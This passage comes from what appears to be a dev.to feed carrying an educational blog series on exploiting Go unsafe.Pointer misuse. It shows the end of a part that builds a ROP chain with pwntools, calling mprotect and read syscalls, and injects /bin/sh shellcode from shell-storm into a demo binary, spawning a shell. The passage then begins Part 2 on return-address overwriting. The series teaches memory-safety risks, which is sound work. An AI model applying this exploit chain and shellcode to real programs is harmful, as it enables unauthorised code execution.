&lt;span class="n"&gt;mprotect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;changes&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;access&lt;/span&gt; &lt;span class="n"&gt;protections&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;calling&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt; &lt;span class="n"&gt;pages&lt;/span&gt; &lt;span class="n"&gt;containing&lt;/span&gt; &lt;span class="n"&gt;any&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="n"&gt;range&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;interval&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="n"&gt;must&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;aligned&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt; &lt;span class="n"&gt;boundary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This means we need to provide the address of the region we want to change, the desired size, and the permission to set. These permissions work similar to file system permissions, so the integer value 7 means RWX.&lt;/p&gt;

&lt;p&gt;I use the Python Exploit Development Assistance (PEDA) for GDB. Follow the instructions on the &lt;a href="https://github.com/longld/peda"&gt;PEDA project page&lt;/a&gt; to install it.&lt;/p&gt;

&lt;p&gt;With it, we can use the &lt;code&gt;vmmap&lt;/code&gt; command in GDB PEDA to find a suitable memory page:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00493000         r-xp  main
0x00493000         0x00551000         r--p  main
0x00551000         0x00567000         rw-p  main
0x00567000         0x00593000         rw-p  [heap]
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The first (r-x) page is the one containing the code. I choose the third page, starting at &lt;code&gt;0x00551000&lt;/code&gt;. It already has the RW permissions, but we need to add X to make it executable. We can choose &lt;code&gt;0x100&lt;/code&gt; (256 bytes) as size as this will be more than enough space for the shell code.&lt;/p&gt;

&lt;p&gt;How do syscalls work? The general idea is to execute the &lt;code&gt;syscall&lt;/code&gt; instruction. Before that, we need to put the syscall number into &lt;code&gt;$rax&lt;/code&gt;, and set up the arguments to the function. The &lt;a href="https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl"&gt;Linux x86_64 syscall table&lt;/a&gt; shows that the &lt;code&gt;mprotect&lt;/code&gt; syscall has number 10 (&lt;code&gt;0xa&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;We set up the parameters according to the &lt;code&gt;x86_64&lt;/code&gt; calling convention: the first parameters get passed in registers &lt;code&gt;$rdi&lt;/code&gt;, &lt;code&gt;$rsi&lt;/code&gt;, &lt;code&gt;$rdx&lt;/code&gt;, &lt;code&gt;$rxc&lt;/code&gt;, &lt;code&gt;$r8&lt;/code&gt;, &lt;code&gt;$r9&lt;/code&gt;, the remaining ones through the stack. The return value is passed back in &lt;code&gt;$rax&lt;/code&gt;. This means that we will need to set up the following situation when executing the &lt;code&gt;syscall&lt;/code&gt; instruction:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;$rax&lt;/code&gt;: 0xa&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$rdi&lt;/code&gt;: 0x00551000&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$rsi&lt;/code&gt;: 0x100&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$rdx&lt;/code&gt;: 0x7&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For this, we now need to find some suitable gadgets in the huge output of Ropper. First, let's try to set &lt;code&gt;$rax&lt;/code&gt; to 10. There is probably no &lt;code&gt;mov rax, 10&lt;/code&gt;, so instead what could be useful is a &lt;code&gt;mov rax, 0&lt;/code&gt; / &lt;code&gt;sub rax, rax&lt;/code&gt; / &lt;code&gt;xor rax, rax&lt;/code&gt; to set &lt;code&gt;$rax&lt;/code&gt; to zero, and then &lt;code&gt;add rax, 1&lt;/code&gt; to slowly increase it up to 10.&lt;/p&gt;

&lt;p&gt;I could find a &lt;code&gt;mov eax, 0; ret;&lt;/code&gt; gadget at address &lt;code&gt;0x000000000045b900&lt;/code&gt; and debugging in GDB showed that this is indeed enough to set the whole &lt;code&gt;$rax&lt;/code&gt; to zero (&lt;code&gt;$eax&lt;/code&gt; is the lower 32 bit of the 64 bit register &lt;code&gt;$rax&lt;/code&gt;). Then, combining it with the &lt;code&gt;add rax, 2; mov dword ptr [rip + 0x14d61f], eax; ret;&lt;/code&gt; gadget applied 5 times we can increment &lt;code&gt;$rax&lt;/code&gt; to 10. The gadget will also move the &lt;code&gt;$eax&lt;/code&gt; value to some address in memory but we can just ignore that.&lt;/p&gt;

&lt;p&gt;For &lt;code&gt;$rdx&lt;/code&gt; and &lt;code&gt;$rsi&lt;/code&gt;, we can go the easy way and just pop them from the stack, meaning we just put the pop gadget and the value directly behind it. Very convenient. The gadgets look like this: &lt;code&gt;pop rdx; adc al, 0xf6; ret;&lt;/code&gt;. They also increment &lt;code&gt;$rax&lt;/code&gt; through the &lt;code&gt;adc&lt;/code&gt; instruction, but if we set up &lt;code&gt;$rdx&lt;/code&gt; and &lt;code&gt;$rsi&lt;/code&gt; before setting up &lt;code&gt;$rax&lt;/code&gt; this is not a problem because we initialize it to zero anyways.&lt;/p&gt;

&lt;p&gt;For setting &lt;code&gt;$rdx&lt;/code&gt;, I also found &lt;code&gt;pop rdx; xor ah, byte ptr [rsi - 9]; ret;&lt;/code&gt;. We could apply it twice to change back the &lt;code&gt;xor&lt;/code&gt; operation on &lt;code&gt;$rax&lt;/code&gt;, but this gadget reads from an address determined through &lt;code&gt;$rsi&lt;/code&gt; which will segfault in this context.&lt;/p&gt;

&lt;p&gt;The hardest is finding a gadget to set &lt;code&gt;$rdi&lt;/code&gt;. There is &lt;code&gt;pop rdi; sete byte ptr [rsp + 0x10]; ret;&lt;/code&gt;, but this will set a memory address near the stack pointer with the second instruction and thus mess up the ROP chain. The only other good gadget option is &lt;code&gt;pop rdi; dec dword ptr [rax + 0x21]; ret;&lt;/code&gt;, but this decrements a memory address determined by &lt;code&gt;$rax&lt;/code&gt;. In theory, we don't need to care about this address, but in my experiments the address would always be invalid and thus crash the program too early.&lt;/p&gt;

&lt;p&gt;I found a solution using the &lt;code&gt;pop rax; or dh, dh; ret;&lt;/code&gt; gadget. It allows to set &lt;code&gt;$rax&lt;/code&gt; directly and therefore also makes the above &lt;code&gt;$rax&lt;/code&gt; increment workaround unnecessary. I leave it in anyways. The important part is, we can now set &lt;code&gt;$rax&lt;/code&gt; to some dummy address before executing the &lt;code&gt;pop rdi&lt;/code&gt; gadget, and then the program does not crash. I use the address of the fourth memory page from above, the heap, for this: &lt;code&gt;0x00567000&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Finally, we need the &lt;code&gt;syscall&lt;/code&gt; instruction itself. Fortunately, this is straightforward as there is a &lt;code&gt;syscall; ret;&lt;/code&gt; gadget.&lt;/p&gt;

&lt;p&gt;Now we can put together the gadget addresses and values. Before them, we put the same padding to offset to the stored return address on the stack. I use the Python pwntools to have some more convenient functions in the exploit script.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;eax0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x000000000045b900&lt;/span&gt; &lt;span class="c1"&gt;# mov eax, 0; ret;
&lt;/span&gt;&lt;span class="n"&gt;inc2rax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0000000000419963&lt;/span&gt; &lt;span class="c1"&gt;# add rax, 2; mov dword ptr [rip + 0x14d61f], eax; ret;
&lt;/span&gt;&lt;span class="n"&gt;poprdx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x000000000040830c&lt;/span&gt; &lt;span class="c1"&gt;# pop rdx; adc al, 0xf6; ret;
&lt;/span&gt;&lt;span class="n"&gt;poprsi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0000000000415574&lt;/span&gt; &lt;span class="c1"&gt;# pop rsi; adc al, 0xf6; ret;
&lt;/span&gt;&lt;span class="n"&gt;syscall&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x000000000045d329&lt;/span&gt; &lt;span class="c1"&gt;# syscall; ret;
&lt;/span&gt;&lt;span class="n"&gt;poprax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x000000000040deac&lt;/span&gt; &lt;span class="c1"&gt;# pop rax; or dh, dh; ret;
&lt;/span&gt;&lt;span class="n"&gt;poprdi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x000000000040eb97&lt;/span&gt; &lt;span class="c1"&gt;# pop rdi; dec dword ptr [rax + 0x21]; ret;
&lt;/span&gt;
&lt;span class="c1"&gt;# addresses
&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x00551000&lt;/span&gt; &lt;span class="c1"&gt;# use vmmap in GDB to find it
&lt;/span&gt;&lt;span class="n"&gt;dummy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x00567000&lt;/span&gt; &lt;span class="c1"&gt;# heap
&lt;/span&gt;
&lt;span class="c1"&gt;# padding
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN"&lt;/span&gt;

&lt;span class="c1"&gt;# mark memory page at buf rwx
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;poprax&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# sete in poprdi mitigation
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dummy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;poprdi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 1ST ARGUMENT
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# ADDRESS
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;poprsi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 2ND ARGUMENT
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# SIZE
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;poprdx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 3RD ARGUMENT
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# RWX
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eax0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# SET RAX = 0
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inc2rax&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="c1"&gt;# SET RAX = 10
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;syscall&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# SYSCALL
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Executing the program with this input will mark the memory page with RWX permissions. We can verify this in GDB using the &lt;code&gt;vmmap&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb-peda$ vmmap
Start              End                Perm  Name
[...]
0x00551000         0x00567000         rwxp  main
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Step 2: Write shell code into the page&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To read in the shell code, we use the &lt;code&gt;read&lt;/code&gt; syscall. Its documentation states the following:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;ssize_t&lt;/span&gt; &lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;descriptor&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt; &lt;span class="n"&gt;into&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt; &lt;span class="n"&gt;starting&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;We can use the same technique to spawn the syscall as above. The syscall table shows that this time we need to call the syscall with number 0. The file descriptor for standard input also has the number 0. Thus, we need to create the following register situation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;$rax&lt;/code&gt;: 0x0&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$rdi&lt;/code&gt;: 0x0&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$rsi&lt;/code&gt;: 0x00551000&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$rdx&lt;/code&gt;: 0x100&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Conveniently, we already have the ROP gadgets needed and only need to rearrange:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;poprax&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# sete in poprdi mitigation
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dummy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;poprdi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 1ST ARGUMENT
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# STDIN
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;poprsi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 2ND ARGUMENT
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# ADDRESS
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;poprdx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 3RD ARGUMENT
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# SIZE
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eax0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# SET RAX = 0
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;syscall&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# SYSCALL
&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Now, we have to provide some code that actually spawns a shell. This 27 bytes assembly program will spawn &lt;code&gt;/bin/sh&lt;/code&gt;. It is taken from &lt;a href="http://shell-storm.org/shellcode/files/shellcode-806.php"&gt;shell-storm.org&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# http://shell-storm.org/shellcode/files/shellcode-806.php
&lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;We send it right after the payload in the resulting python script.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Jump to the code&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Running the code we just read in is as simple as jumping to it. And jumping to it means we only have to provide its address as the next return address:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;If we run the final exploit, we get the following output:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;johannes@host-pc ~ &lt;span class="nv"&gt;$ &lt;/span&gt;./exploit_rop.py        
&lt;span class="o"&gt;[&lt;/span&gt;+] Starting &lt;span class="nb"&gt;local &lt;/span&gt;process &lt;span class="s1"&gt;'./main'&lt;/span&gt;: pid 75369
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Switching to interactive mode
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;johannes&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;johannes&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;johannes&lt;span class="o"&gt;)&lt;/span&gt;,54&lt;span class="o"&gt;(&lt;/span&gt;lock&lt;span class="o"&gt;)&lt;/span&gt;,1001&lt;span class="o"&gt;(&lt;/span&gt;plugdev&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;We have successfully spawned and control a shell. It runs in the same context as the program did, that is the user context here. In a next step, we could try to run a local root exploit to escalate privileges.&lt;/p&gt;
&lt;h2&gt;
  
  
  Complete POC exploit code
&lt;/h2&gt;

&lt;p&gt;You can read the full POC exploit code in the Github repository that I created for this post series:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vJ70wriM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/jlauinger"&gt;
        jlauinger
      &lt;/a&gt; / &lt;a href="https://github.com/jlauinger/go-unsafepointer-poc"&gt;
        go-unsafepointer-poc
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Golang example code showing dangers with unsafe.Pointer usages
    &lt;/h3&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  
  
  Acknowledgments
&lt;/h2&gt;

&lt;p&gt;This blog post was written as part of my work on my Master's thesis at the &lt;br&gt;
&lt;a href="https://www.stg.tu-darmstadt.de/stg/homepage.en.jsp"&gt;Software Technology Group&lt;/a&gt; at TU Darmstadt.&lt;/p&gt;

&lt;p&gt;Next week we are going to continue with part 4: The dangers of directly creating &lt;code&gt;reflect.SliceHeader&lt;/code&gt; literals&lt;/p&gt;

</description>
      <category>go</category>
      <category>security</category>
    </item>
    <item>
      <title>Exploitation Exercise with Go unsafe.Pointer: Code Flow Redirection (Part 2)</title>
      <dc:creator>Johannes Lauinger</dc:creator>
      <pubDate>Wed, 20 May 2020 15:08:24 +0000</pubDate>
      <link>https://dev.to/jlauinger/exploitation-exercise-with-go-unsafe-pointer-code-flow-redirection-part-2-5hgm</link>
      <guid>https://dev.to/jlauinger/exploitation-exercise-with-go-unsafe-pointer-code-flow-redirection-part-2-5hgm</guid>
      <description>&lt;p&gt;In this second part, we will evolve from reading memory to redirecting the code flow. This means we will be controlling what is being executed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Buffer overflow, part 2: controlling the return address
&lt;/h2&gt;

&lt;p&gt;In the first part we learned that local variables are located on the stack at addresses just below the return address. When the function returns, it will increment the stack pointer to the point where no space for local variables is used, effectively freeing them. The stack pointer &lt;code&gt;$rsp&lt;/code&gt; will then point to the stored return address.&lt;/p&gt;

&lt;p&gt;Now comes the &lt;code&gt;ret&lt;/code&gt; machine instruction. It is actually equivalent to &lt;code&gt;pop $rip&lt;/code&gt; or even &lt;code&gt;mov $rip, [$rsp]; add $rsp, 8&lt;/code&gt;. The processor will fetch the address stored on the top of the stack, put it into the instruction pointer register, and continue execution at that address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fjlauinger%2Fgo-unsafepointer-poc%2Fmaster%2Fassets%2Freturn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fjlauinger%2Fgo-unsafepointer-poc%2Fmaster%2Fassets%2Freturn.png" alt="Return to saved RIP"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we can somehow change the return address stored on the stack to an address we can control, we can change the program control flow. &lt;/p&gt;

&lt;h2&gt;
  
  
  Code flow redirection POC
&lt;/h2&gt;

&lt;p&gt;To see how we can actually exploit this, we will have a look at a proof of concept exploit with an example program.&lt;/p&gt;

&lt;p&gt;First, we create a &lt;code&gt;win&lt;/code&gt; function to be compiled into the binary. We can use it as a target to redirect the code flow to. This is a good first step in learning code flow exploitation. The function does not do very much, it simply prints "win!" so that we know we did good:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
